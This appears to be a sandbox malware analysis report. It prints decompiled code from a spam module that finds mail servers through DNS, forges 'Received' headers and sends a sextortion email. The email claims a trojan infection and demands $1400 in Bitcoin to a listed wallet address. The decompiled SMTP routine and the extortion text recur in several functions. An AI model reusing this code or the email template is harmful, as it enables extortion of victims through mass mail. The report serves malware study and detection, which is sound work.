					 *((intOrPtr*)(_t200 - 0x498)) = wsprintfA(_t200 - 0x490, "MAIL FROM: %s\r\n", _t200 - 0x88);
					_t170 = E002E1120( *((intOrPtr*)(_t200 - 0x1c)), _t200 - 0x490,  *((intOrPtr*)(_t200 - 0x498))); // executed
					_t205 = _t202 + 0x24;
					if(_t170 != 0) {
						 *(_t200 - 0x20) = 4;
					} else {
						 *(__ebp - 0x20) = 0;
					}
					L48:
					while( *(_t200 - 0x20) != 0 &&  *(_t200 - 0x20) != 8) {
						_t174 = E002E1160( *((intOrPtr*)(_t200 - 0x1c)), _t200 - 0x490, 0x400); // executed
						_t207 = _t205 + 0xc;
						 *((intOrPtr*)(_t200 - 0x90)) = _t174;
						if( *((intOrPtr*)(_t200 - 0x90)) != 0) {
							L5:
							 *((char*)(_t200 +  *((intOrPtr*)(_t200 - 0x90)) - 0x490)) = 0;
							_t175 = E002E11C0(_t200 - 0x490);
							_t205 = _t207 + 4;
							if(_t175 != 0) {
								L7:
								 *(_t200 - 0x718) =  *(_t200 - 0x20);
								 *(_t200 - 0x718) =  *(_t200 - 0x718) - 1;
								if( *(_t200 - 0x718) > 6) {
									continue;
								}
								L8:
								switch( *((intOrPtr*)( *(_t200 - 0x718) * 4 +  &M002E223C))) {
									case 0:
										L9:
										_push("ESMTP");
										if(StrStrA(_t200 - 0x490) == 0) {
											_t179 = wsprintfA(_t200 - 0x490, "HELO %s\r\n", "[102.129.143.97]");
											_t208 = _t205 + 0xc;
											 *(_t200 - 0x494) = _t179;
										} else {
											_t182 = wsprintfA(_t200 - 0x490, "EHLO %s\r\n", "[102.129.143.97]");
											_t208 = _t205 + 0xc;
											 *(_t200 - 0x494) = _t182;
										}
										_t181 = E002E1120( *((intOrPtr*)(_t200 - 0x1c)), _t200 - 0x490,  *(_t200 - 0x494)); // executed
										_t205 = _t208 + 0xc;
										if(_t181 != 0) {
											 *(_t200 - 0x20) = 3;
										} else {
											 *(_t200 - 0x20) = 0;
										}
										goto L48;
									case 1:
										goto L48;
									case 2:
										goto L0;
									case 3:
										L18:
										__ecx =  *(__ebp + 8);
										__eax = wsprintfA(__ebp - 0x490, "RCPT TO: <%s>\r\n",  *(__ebp + 8));
										__esp = __esp + 0xc;
										 *(__ebp - 0x49c) = __eax;
										__eax =  *(__ebp - 0x49c);
										__ecx = __ebp - 0x490;
										__eax = E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x49c)); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 5;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 4:
										L21:
										__eax =  *(__ebp - 0x1c);
										__eax = E002E1120( *(__ebp - 0x1c), "DATA\r\n", 0xffffffff); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 6;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 5:
										L24:
										__ecx = __ebp - 0x61c;
										E002E1320(__ebp - 0x61c, 5, __ebp - 0x61c) = wsprintfA(__ebp - 0x508, "%s.com", __eax);
										__esp = __esp + 0xc;
										__ebp - 0x710 = E002E1490(0, __ebp - 0x710, 1); // executed
										Sleep(0x7d0); // executed
										__ecx = __ebp - 0x690;
										__eax = E002E1490(0, __ebp - 0x690, 0); // executed
										__eax = __ebp - 0x508;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t57 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t61 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t65 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xd2;
										_t69 = __eax % 0xd2;
										E002E1390(0xd2, 7, __ebp - 0x6a8) = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n", __ebp - 0x490, _t69 + 1, _t65 + 1, _t61 + 1, _t57 + 1, __ebp - 0x508, __ebp - 0x690);
										__esp = __esp + 0x24;
										 *(__ebp - 0x714) = __eax;
										__ecx =  *(__ebp - 0x714);
										__eax =  *(__ebp - 0x1c);
										__eax = E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
										if(__eax != 0) {
											__ecx = __ebp - 0x710;
											E002E1320(__ecx, 3, __ebp - 0x628) = __ebp - 0x69c;
											__eax = E002E1320(__ecx, 5, __ebp - 0x69c);
											__ecx = __ebp - 0x490;
											__eax = wsprintfA(__ebp - 0x490, "Received: (qmail %s invoked by uid %s); %s\r\n", __eax, __eax, __ebp - 0x490);
											__esp = __esp + 0x14;
											 *(__ebp - 0x714) = __eax;
											__eax = __ebp - 0x490;
											__ecx =  *(__ebp - 0x1c);
											__eax = E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
											if(__eax != 0) {
												__eax = __ebp - 0x490;
												__eax = wsprintfA(__ebp - 0x490, "From: %s\r\n",  *(__ebp + 8));
												__esp = __esp + 0xc;
												 *(__ebp - 0x714) = __eax;
												__ecx =  *(__ebp - 0x714);
												__eax =  *(__ebp - 0x1c);
												if(E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
													__ecx =  *(__ebp + 8);
													__eax = wsprintfA(__ebp - 0x490, "To: %s\r\n",  *(__ebp + 8));
													__esp = __esp + 0xc;
													 *(__ebp - 0x714) = __eax;
													__eax =  *(__ebp - 0x714);
													__ecx = __ebp - 0x490;
													if(E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
														__eax = __ebp - 0x490;
														__eax = wsprintfA(__ebp - 0x490, "Subject: %s\r\n", "I RECORDED YOU!");
														__esp = __esp + 0xc;
														 *(__ebp - 0x714) = __eax;
														__ecx =  *(__ebp - 0x714);
														__eax =  *(__ebp - 0x1c);
														if(E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
															__ecx = __ebp - 0x690;
															__eax = wsprintfA(__ebp - 0x490, "Date: %s\r\n", __ebp - 0x690);
															__esp = __esp + 0xc;
															 *(__ebp - 0x714) = __eax;
															__eax =  *(__ebp - 0x714);
															__ecx = __ebp - 0x490;
															if(E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
																__eax = __ebp - 0x508;
																__ecx = __ebp - 0x628;
																E002E1320(__ecx, 6, __ecx) = E002E1320(__ecx, 6, __ebp - 0x69c);
																__eax = __ebp - 0x490;
																__eax = wsprintfA(__ebp - 0x490, "Message-ID: <%s.%s@%s>\r\n", __ebp - 0x490, __ebp - 0x490, __ebp - 0x508);
																__esp = __esp + 0x14;
																 *(__ebp - 0x714) = __eax;
																__ecx =  *(__ebp - 0x714);
																__eax =  *(__ebp - 0x1c);
																if(E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
																	__ecx =  *(__ebp - 0x1c);
																	if(E002E1120( *(__ebp - 0x1c), "Mime-Version: 1.0\r\n", 0xffffffff) != 0) {
																		if(E002E1120( *(__ebp - 0x1c), "Content-type: text/plain;\r\n\r\n", 0xffffffff) != 0) {
																			__ebp - 0x610 = memset(__ebp - 0x610, 0, 0x104);
																			__ecx = __ebp - 0x610;
																			strcpy(__ebp - 0x610, "Hello there!\r\n\r\n") = strcat(__ebp - 0x610, "Unfortunately, there are some bad news for you.\r\n\r\n");
																			__ebp - 0x610 = strcat(__ebp - 0x610, "Some time ago your device was infected with my private trojan, R.A.T (Remote Administration Tool), if you want to find out more about it simply use Google.\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			__ebp - 0x610 = strcat(__ebp - 0x610, "You truly enjoy checking out porn websites and watching dirty videos, while having a lot of kinky fun.\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			__ebp - 0x610 = strcat(__ebp - 0x610, "All you need is $1400 USD in Bitcoin (BTC) transfer to my account (Bitcoin equivalent based on exchange rate during your transfer).\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			strcat(__ebp - 0x610, "After the transaction is successful, I will proceed to delete everything without delay.\r\n\r\n") =  *(__ebp - 0x1c);
																			if(E002E1120( *(__ebp - 0x1c), __ebp - 0x610, 0xffffffff) != 0) {
																				__ecx = __ebp - 0x610;
																				memset(__ebp - 0x610, 0, 0x104) = strcpy(__ebp - 0x610, "Afterwards, we can pretend that we have never met before.\r\n\r\n");
																				__ebp - 0x610 = strcat(__ebp - 0x610, "In addition, I assure you that all the harmful software will be deleted from your device.\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				__ebp - 0x610 = strcat(__ebp - 0x610, "My Bitcoin (BTC) address is: 1EJJoUCykyZT3FtxRGSpuUsiBxCiHQ4wqX\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				__ebp - 0x610 = strcat(__ebp - 0x610, "Everything will be carried out based on fairness!\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				strcat(__ebp - 0x610, "An advice from me - regularly change all your passwords to your accounts and update your device with newest security patches.\r\n.\r\n") =  *(__ebp - 0x1c);
																				if(E002E1120( *(__ebp - 0x1c), __ebp - 0x610, 0xffffffff) != 0) {
																					 *(__ebp - 0x20) = 7;
																				} else {
																					 *(__ebp - 0x20) = 0;
																				}
																			} else {
																				 *(__ebp - 0x20) = 0;
																			}
																		} else {
																			 *(__ebp - 0x20) = 0;
																		}
																	} else {
																		 *(__ebp - 0x20) = 0;
																	}
																} else {
																	 *(__ebp - 0x20) = 0;
																}
															} else {
																 *(__ebp - 0x20) = 0;
															}
														} else {
															 *(__ebp - 0x20) = 0;
														}
													} else {
														 *(__ebp - 0x20) = 0;
													}
												} else {
													 *(__ebp - 0x20) = 0;
												}
											} else {
												 *(__ebp - 0x20) = 0;
											}
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 6:
										L47:
										__ecx =  *(__ebp - 0x1c);
										__eax = E002E1120( *(__ebp - 0x1c), "QUIT", 0xffffffff);
										 *(__ebp - 0x20) = 8;
										goto L48;
								}
							} else {
								break;
							}
						} else {
							break;
						}
					}
					L49:
					 *(_t200 - 8) = 0 |  *(_t200 - 0x20) == 0x00000008;
					__imp__#22( *((intOrPtr*)(_t200 - 0x1c)), 2); // executed
					__imp__#3( *((intOrPtr*)(_t200 - 0x1c))); // executed
					return  *(_t200 - 8);
				}
			}

0x002e1bb6
0x002e1bb6
0x002e1bb6
0x002e1bc6
0x002e1beb
0x002e1c03
0x002e1c08
0x002e1c0d
0x002e1c1b
0x002e1c0f
0x002e1c0f
0x002e1c0f
0x00000000
0x002e220c
0x002e1ab4
0x002e1ab9
0x002e1abc
0x002e1ac9
0x002e1ad0
0x002e1ad6
0x002e1ae5
0x002e1aea
0x002e1aef
0x002e1af6
0x002e1af9
0x002e1b08
0x002e1b15
0x00000000
0x00000000
0x002e1b1b
0x002e1b21
0x00000000
0x002e1b28
0x002e1b28
0x002e1b3c
0x002e1b71
0x002e1b77
0x002e1b7a
0x002e1b3e
0x002e1b4f
0x002e1b55
0x002e1b58
0x002e1b58
0x002e1b92
0x002e1b97
0x002e1b9c
0x002e1baa
0x002e1b9e
0x002e1b9e
0x002e1b9e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x002e1c27
0x002e1c27
0x002e1c37
0x002e1c3d
0x002e1c40
0x002e1c46
0x002e1c4d
0x002e1c58
0x002e1c62
0x002e1c70
0x002e1c64
0x002e1c64
0x002e1c64
0x00000000
0x00000000
0x002e1c7c
0x002e1c83
0x002e1c87
0x002e1c91
0x002e1c9f
0x002e1c93
0x002e1c93
0x002e1c93
0x00000000
0x00000000
0x002e1cab
0x002e1cab
0x002e1cc9
0x002e1ccf
0x002e1cdd
0x002e1cea
0x002e1cf2
0x002e1cfb
0x002e1d0a
0x002e1d11
0x002e1d16
0x002e1d17
0x002e1d1c
0x002e1d1c
0x002e1d22
0x002e1d27
0x002e1d28
0x002e1d2d
0x002e1d2d
0x002e1d33
0x002e1d38
0x002e1d39
0x002e1d3e
0x002e1d3e
0x002e1d44
0x002e1d49
0x002e1d4a
0x002e1d4f
0x002e1d6c
0x002e1d73
0x002e1d79
0x002e1d7c
0x002e1d82
0x002e1d90
0x002e1d94
0x002e1d9e
0x002e1dac
0x002e1dc5
0x002e1dce
0x002e1ddc
0x002e1de3
0x002e1de9
0x002e1dec
0x002e1df9
0x002e1e00
0x002e1e04
0x002e1e0e
0x002e1e25
0x002e1e2c
0x002e1e32
0x002e1e35
0x002e1e3b
0x002e1e49
0x002e1e57
0x002e1e65
0x002e1e75
0x002e1e7b
0x002e1e7e
0x002e1e84
0x002e1e8b
0x002e1ea0
0x002e1eb8
0x002e1ebf
0x002e1ec5
0x002e1ec8
0x002e1ece
0x002e1edc
0x002e1eea
0x002e1ef8
0x002e1f0b
0x002e1f11
0x002e1f14
0x002e1f1a
0x002e1f21
0x002e1f36
0x002e1f44
0x002e1f4b
0x002e1f66
0x002e1f74
0x002e1f7b
0x002e1f81
0x002e1f84
0x002e1f8a
0x002e1f98
0x002e1fa6
0x002e1fbb
0x002e1fc9
0x002e1fec
0x002e2008
0x002e2015
0x002e2030
0x002e2044
0x002e2051
0x002e2080
0x002e208d
0x002e20bc
0x002e20c9
0x002e20e1
0x002e20ef
0x002e2104
0x002e211f
0x002e2133
0x002e2140
0x002e216f
0x002e217c
0x002e21ab
0x002e21b8
0x002e21d0
0x002e21de
0x002e21e9
0x002e21e0
0x002e21e0
0x002e21e0
0x002e20f1
0x002e20f1
0x002e20f1
0x002e1fee
0x002e1fee
0x002e1fee
0x002e1fcb
0x002e1fcb
0x002e1fcb
0x002e1fa8
0x002e1fa8
0x002e1fa8
0x002e1f38
0x002e1f38
0x002e1f38
0x002e1eec
0x002e1eec
0x002e1eec
0x002e1ea2
0x002e1ea2
0x002e1ea2
0x002e1e59
0x002e1e59
0x002e1e59
0x002e1e10
0x002e1e10
0x002e1e10
0x002e1da0
0x002e1da0
0x002e1da0
0x00000000
0x00000000
0x002e21f2
0x002e21f9
0x002e21fd
0x002e2205
0x00000000
0x00000000
0x002e1af1
0x00000000
0x002e1af1
0x002e1acb
0x00000000
0x002e1acb
0x002e1ac9
0x002e2211
0x002e221a
0x002e2223
0x002e222d
0x002e2239
0x002e2239

APIs

wsprintfA.USER32 ref: 002E1BC6
wsprintfA.USER32 ref: 002E1BE2

Part of subcall function 002E1120: lstrlenA.KERNEL32(?), ref: 002E112D
Part of subcall function 002E1120: send.WS2_32(?,?,000000FF,00000000), ref: 002E1144

shutdown.WS2_32(000000FF,00000002), ref: 002E2223
closesocket.WS2_32(000000FF), ref: 002E222D

Strings

<%s>, xrefs: 002E1BBA
MAIL FROM: %s, xrefs: 002E1BD6

Memory Dump Source

Source File: 00000009.00000002.2483691430.00000000002E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000009.00000002.2483651319.00000000002E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483768141.00000000002E4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483830202.00000000002E6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483893519.00000000002E8000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2e0000_2569813542.jbxd

Similarity

API ID: wsprintf$closesocketlstrlensendshutdown
String ID: <%s>$MAIL FROM: %s
API String ID: 1146405-791590210
Opcode ID: e987c5948fc61dc65c4249f67409dc59c808f776cd6191d3d8fcd6686fbb497e
Instruction ID: 815f393629364d70aae3e5d474cb1da40895bd5b637a34a79f73a31e6e590cac
Opcode Fuzzy Hash: e987c5948fc61dc65c4249f67409dc59c808f776cd6191d3d8fcd6686fbb497e
Instruction Fuzzy Hash: 5F211FB1D90258DFCF10DB95DC49BEEB778BB48304F4441A9EA09A7140D77449A8CF65

Uniqueness

Uniqueness Score: -1.00%

Function 002E1760 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 31%

			E002E1760() {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _t12;
				intOrPtr _t14;

				_v8 = 0;
				_push(0);
				_t12 =  &_v8;
				_push(_t12);
				_push(0);
				_push(0);
				_push(0xf);
				_push("yahoo.com"); // executed
				L002E307A(); // executed
				_v12 = _t12;
				if(_v12 != 0) {
					L3:
					_push(1);
					_push(_v8);
					L002E3074();
					return 0;
				}
				_t14 = E002E16E0( *((intOrPtr*)(_v8 + 0x18)), 0x19); // executed
				_v16 = _t14;
				if(_v16 <= 0) {
					goto L3;
				}
				L002E3074();
				__imp__#3(_v16, _v8, 1); // executed
				return 1;
			}

0x002e1766
0x002e176d
0x002e176f
0x002e1772
0x002e1773
0x002e1775
0x002e1777
0x002e1779
0x002e177e
0x002e1783
0x002e178a
0x002e17bf
0x002e17bf
0x002e17c4
0x002e17c5
0x00000000
0x002e17ca
0x002e1795
0x002e179d
0x002e17a4
0x00000000
0x00000000
0x002e17ac
0x002e17b5
0x00000000

APIs

DnsQuery_A.DNSAPI(yahoo.com,0000000F,00000000,00000000,00000000,00000000), ref: 002E177E
DnsFree.DNSAPI(00000000,00000001), ref: 002E17AC
closesocket.WS2_32(00000000), ref: 002E17B5
DnsFree.DNSAPI(00000000,00000001), ref: 002E17C5

Strings

yahoo.com, xrefs: 002E1779

Memory Dump Source

Source File: 00000009.00000002.2483691430.00000000002E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000009.00000002.2483651319.00000000002E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483768141.00000000002E4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483830202.00000000002E6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483893519.00000000002E8000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2e0000_2569813542.jbxd

Similarity

API ID: Free$Query_closesocket
String ID: yahoo.com
API String ID: 1946217314-667638125
Opcode ID: 90d6afd4589f72c4fb90d222a6d0686b41fc89abd557de851857c332c078b843
Instruction ID: 399e5580b6497f21309786b526a9e1b5e05bc1f06d23cdae1d821647a095c59e
Opcode Fuzzy Hash: 90d6afd4589f72c4fb90d222a6d0686b41fc89abd557de851857c332c078b843
Instruction Fuzzy Hash: 12016D74E90248FBDB10EFE2D88AFDDB7789B04B04F6041A4FA006B281D7B59B61DB50

Uniqueness

Uniqueness Score: -1.00%

Function 002E19E0 Relevance: 7.6, APIs: 5, Instructions: 99
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E002E19E0(int _a4) {
				intOrPtr _v8;
				signed int _v12;
				char _v28;
				char* _v32;
				int _v36;
				char _v140;
				char _v144;
				intOrPtr _v148;
				char _v1172;
				int _v1176;
				int _v1180;
				int _v1184;
				char _v1292;
				char _v1556;
				char _v1568;
				char _v1580;
				char _v1684;
				char _v1696;
				char _v1708;
				char _v1812;
				int _v1816;
				signed int _v1820;
				intOrPtr _t183;
				char* _t186;
				intOrPtr _t190;
				void* _t191;
				void* _t218;
				void* _t219;
				void* _t220;
				void* _t221;
				void* _t222;

				_v12 = 0;
				_t183 = E002E2260(_a4, 0x40);
				_t220 = _t219 + 8;
				_v8 = _t183;
				if(_v8 == 0) {
					L57:
					return _v12;
				}
				_v8 = _v8 + 1;
				_t186 = E002E10A0(_v8,  &_v28); // executed
				_t221 = _t220 + 8;
				if(_t186 == 0) {
					goto L57;
				}
				__imp__#23(2, 1, 6); // executed
				_v32 = _t186;
				if(_v32 == 0xffffffff || _v32 == 0xffffffff) {
					goto L57;
				} else {
					__imp__#4(_v32,  &_v28, 0x10); // executed
					if(_t186 == 0xffffffff) {
						L56:
						__imp__#22(_v32, 2); // executed
						__imp__#3(_v32); // executed
						goto L57;
					} else {
						_v144 = 1;
						__imp__#21(_v32, 6, 1,  &_v144, 4); // executed
						_v36 = 1;
						while(_v36 != 0 && _v36 != 8) {
							_t190 = E002E1160(_v32,  &_v1172, 0x400); // executed
							_t222 = _t221 + 0xc;
							_v148 = _t190;
							if(_v148 != 0) {
								 *((char*)(_t218 + _v148 - 0x490)) = 0;
								_t191 = E002E11C0( &_v1172);
								_t221 = _t222 + 4;
								if(_t191 != 0) {
									_v1820 = _v36;
									_v1820 = _v1820 - 1;
									if(_v1820 > 6) {
										L54:
										continue;
									}
									switch( *((intOrPtr*)(_v1820 * 4 +  &M002E223C))) {
										case 0:
											_push("ESMTP");
											if(StrStrA( &_v1172) == 0) {
												_t195 = wsprintfA( &_v1172, "HELO %s\r\n", "[102.129.143.97]");
												_t223 = _t221 + 0xc;
												_v1176 = _t195;
											} else {
												_t198 = wsprintfA( &_v1172, "EHLO %s\r\n", "[102.129.143.97]");
												_t223 = _t221 + 0xc;
												_v1176 = _t198;
											}
											_t197 = E002E1120(_v32,  &_v1172, _v1176); // executed
											_t221 = _t223 + 0xc;
											if(_t197 != 0) {
												_v36 = 3;
											} else {
												_v36 = 0;
											}
											goto L54;
										case 1:
											goto L54;
										case 2:
											__eax = _a4;
											__ecx =  &_v140;
											__eax = wsprintfA( &_v140, "<%s>", _a4);
											__esp = __esp + 0xc;
											__eax =  &_v1172;
											__eax = wsprintfA( &_v1172, "MAIL FROM: %s\r\n",  &_v140);
											__esp = __esp + 0xc;
											_v1180 = __eax;
											__ecx = _v1180;
											__eax = _v32;
											__eax = E002E1120(_v32,  &_v1172, _v1180); // executed
											if(__eax != 0) {
												_v36 = 4;
											} else {
												_v36 = 0;
											}
											goto L54;
										case 3:
											__ecx = _a4;
											__eax = wsprintfA( &_v1172, "RCPT TO: <%s>\r\n", _a4);
											__esp = __esp + 0xc;
											_v1184 = __eax;
											__eax = _v1184;
											__ecx =  &_v1172;
											__eax = E002E1120(_v32,  &_v1172, _v1184); // executed
											if(__eax != 0) {
												_v36 = 5;
											} else {
												_v36 = 0;
											}
											goto L54;
										case 4:
											__eax = _v32;
											__eax = E002E1120(_v32, "DATA\r\n", 0xffffffff); // executed
											if(__eax != 0) {
												_v36 = 6;
											} else {
												_v36 = 0;
											}
											goto L54;
										case 5:
											__ecx =  &_v1568;
											E002E1320( &_v1568, 5,  &_v1568) = wsprintfA( &_v1292, "%s.com", __eax);
											__esp = __esp + 0xc;
											 &_v1812 = E002E1490(0,  &_v1812, 1); // executed
											Sleep(0x7d0); // executed
											__ecx =  &_v1684;
											__eax = E002E1490(0,  &_v1684, 0); // executed
											__eax =  &_v1292;
											__eax = rand();
											asm("cdq");
											__ecx = 0xfe;
											_t74 = __eax % 0xfe;
											__eax = __eax / 0xfe;
											__eax = rand();
											asm("cdq");
											__ecx = 0xfe;
											_t78 = __eax % 0xfe;
											__eax = __eax / 0xfe;
											__eax = rand();
											asm("cdq");
											__ecx = 0xfe;
											_t82 = __eax % 0xfe;
											__eax = __eax / 0xfe;
											__eax = rand();
											asm("cdq");
											__ecx = 0xd2;
											_t86 = __eax % 0xd2;
											E002E1390(0xd2, 7,  &_v1708) =  &_v1172;
											__eax = wsprintfA( &_v1172, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n",  &_v1172, _t86 + 1, _t82 + 1, _t78 + 1, _t74 + 1,  &_v1292,  &_v1684);
											__esp = __esp + 0x24;
											_v1816 = __eax;
											__ecx = _v1816;
											__eax = _v32;
											__eax = E002E1120(_v32,  &_v1172, _v1816); // executed
											if(__eax != 0) {
												__ecx =  &_v1812;
												E002E1320(__ecx, 3,  &_v1580) =  &_v1696;
												__eax = E002E1320(__ecx, 5,  &_v1696);
												__ecx =  &_v1172;
												__eax = wsprintfA( &_v1172, "Received: (qmail %s invoked by uid %s); %s\r\n", __eax, __eax,  &_v1172);
												__esp = __esp + 0x14;
												_v1816 = __eax;
												__eax =  &_v1172;
												__ecx = _v32;
												__eax = E002E1120(_v32,  &_v1172, _v1816); // executed
												if(__eax != 0) {
													__eax =  &_v1172;
													__eax = wsprintfA( &_v1172, "From: %s\r\n", _a4);
													__esp = __esp + 0xc;
													_v1816 = __eax;
													__ecx = _v1816;
													__eax = _v32;
													if(E002E1120(_v32,  &_v1172, _v1816) != 0) {
														__ecx = _a4;
														__eax = wsprintfA( &_v1172, "To: %s\r\n", _a4);
														__esp = __esp + 0xc;
														_v1816 = __eax;
														__eax = _v1816;
														__ecx =  &_v1172;
														if(E002E1120(_v32,  &_v1172, _v1816) != 0) {
															__eax =  &_v1172;
															__eax = wsprintfA( &_v1172, "Subject: %s\r\n", "I RECORDED YOU!");
															__esp = __esp + 0xc;
															_v1816 = __eax;
															__ecx = _v1816;
															__eax = _v32;
															if(E002E1120(_v32,  &_v1172, _v1816) != 0) {
																__ecx =  &_v1684;
																__eax = wsprintfA( &_v1172, "Date: %s\r\n",  &_v1684);
																__esp = __esp + 0xc;
																_v1816 = __eax;
																__eax = _v1816;
																__ecx =  &_v1172;
																if(E002E1120(_v32,  &_v1172, _v1816) != 0) {
																	__eax =  &_v1292;
																	__ecx =  &_v1580;
																	E002E1320(__ecx, 6, __ecx) = E002E1320(__ecx, 6,  &_v1696);
																	__eax =  &_v1172;
																	__eax = wsprintfA( &_v1172, "Message-ID: <%s.%s@%s>\r\n",  &_v1172,  &_v1172,  &_v1292);
																	__esp = __esp + 0x14;
																	_v1816 = __eax;
																	__ecx = _v1816;
																	__eax = _v32;
																	if(E002E1120(_v32,  &_v1172, _v1816) != 0) {
																		__ecx = _v32;
																		if(E002E1120(_v32, "Mime-Version: 1.0\r\n", 0xffffffff) != 0) {
																			if(E002E1120(_v32, "Content-type: text/plain;\r\n\r\n", 0xffffffff) != 0) {
																				 &_v1556 = memset( &_v1556, 0, 0x104);
																				__ecx =  &_v1556;
																				strcpy( &_v1556, "Hello there!\r\n\r\n") = strcat( &_v1556, "Unfortunately, there are some bad news for you.\r\n\r\n");
																				 &_v1556 = strcat( &_v1556, "Some time ago your device was infected with my private trojan, R.A.T (Remote Administration Tool), if you want to find out more about it simply use Google.\r\n\r\n");
																				__ecx =  &_v1556;
																				 &_v1556 = strcat( &_v1556, "You truly enjoy checking out porn websites and watching dirty videos, while having a lot of kinky fun.\r\n\r\n");
																				__ecx =  &_v1556;
																				 &_v1556 = strcat( &_v1556, "All you need is $1400 USD in Bitcoin (BTC) transfer to my account (Bitcoin equivalent based on exchange rate during your transfer).\r\n\r\n");
																				__ecx =  &_v1556;
																				strcat( &_v1556, "After the transaction is successful, I will proceed to delete everything without delay.\r\n\r\n") = _v32;
																				if(E002E1120(_v32,  &_v1556, 0xffffffff) != 0) {
																					__ecx =  &_v1556;
																					memset( &_v1556, 0, 0x104) = strcpy( &_v1556, "Afterwards, we can pretend that we have never met before.\r\n\r\n");
																					 &_v1556 = strcat( &_v1556, "In addition, I assure you that all the harmful software will be deleted from your device.\r\n\r\n");
																					__ecx =  &_v1556;
																					 &_v1556 = strcat( &_v1556, "My Bitcoin (BTC) address is: 1EJJoUCykyZT3FtxRGSpuUsiBxCiHQ4wqX\r\n\r\n");
																					__ecx =  &_v1556;
																					 &_v1556 = strcat( &_v1556, "Everything will be carried out based on fairness!\r\n\r\n");
																					__ecx =  &_v1556;
																					strcat( &_v1556, "An advice from me - regularly change all your passwords to your accounts and update your device with newest security patches.\r\n.\r\n") = _v32;
																					if(E002E1120(_v32,  &_v1556, 0xffffffff) != 0) {
																						_v36 = 7;
																					} else {
																						_v36 = 0;
																					}
																				} else {
																					_v36 = 0;
																				}
																			} else {
																				_v36 = 0;
																			}
																		} else {
																			_v36 = 0;
																		}
																	} else {
																		_v36 = 0;
																	}
																} else {
																	_v36 = 0;
																}
															} else {
																_v36 = 0;
															}
														} else {
															_v36 = 0;
														}
													} else {
														_v36 = 0;
													}
												} else {
													_v36 = 0;
												}
											} else {
												_v36 = 0;
											}
											goto L54;
										case 6:
											__ecx = _v32;
											__eax = E002E1120(_v32, "QUIT", 0xffffffff);
											_v36 = 8;
											goto L54;
									}
								} else {
									break;
								}
							} else {
								break;
							}
						}
						_v12 = 0 | _v36 == 0x00000008;
						goto L56;
					}
				}
			}

0x002e19e9
0x002e19f6
0x002e19fb
0x002e19fe
0x002e1a05
0x002e2233
0x002e2239
0x002e2239
0x002e1a11
0x002e1a1c
0x002e1a21
0x002e1a26
0x00000000
0x00000000
0x002e1a32
0x002e1a38
0x002e1a3f
0x00000000
0x002e1a4f
0x002e1a59
0x002e1a62
0x002e221d
0x002e2223
0x002e222d
0x00000000
0x002e1a68
0x002e1a68
0x002e1a83
0x002e1a89
0x002e1a90
0x002e1ab4
0x002e1ab9
0x002e1abc
0x002e1ac9
0x002e1ad6
0x002e1ae5
0x002e1aea
0x002e1aef
0x002e1af9
0x002e1b08
0x002e1b15
0x002e220c
0x00000000
0x002e220c
0x002e1b21
0x00000000
0x002e1b28
0x002e1b3c
0x002e1b71
0x002e1b77
0x002e1b7a
0x002e1b3e
0x002e1b4f
0x002e1b55
0x002e1b58
0x002e1b58
0x002e1b92
0x002e1b97
0x002e1b9c
0x002e1baa
0x002e1b9e
0x002e1b9e
0x002e1b9e
0x00000000
0x00000000
0x00000000
0x00000000
0x002e1bb6
0x002e1bbf
0x002e1bc6
0x002e1bcc
0x002e1bdb
0x002e1be2
0x002e1be8
0x002e1beb
0x002e1bf1
0x002e1bff
0x002e1c03
0x002e1c0d
0x002e1c1b
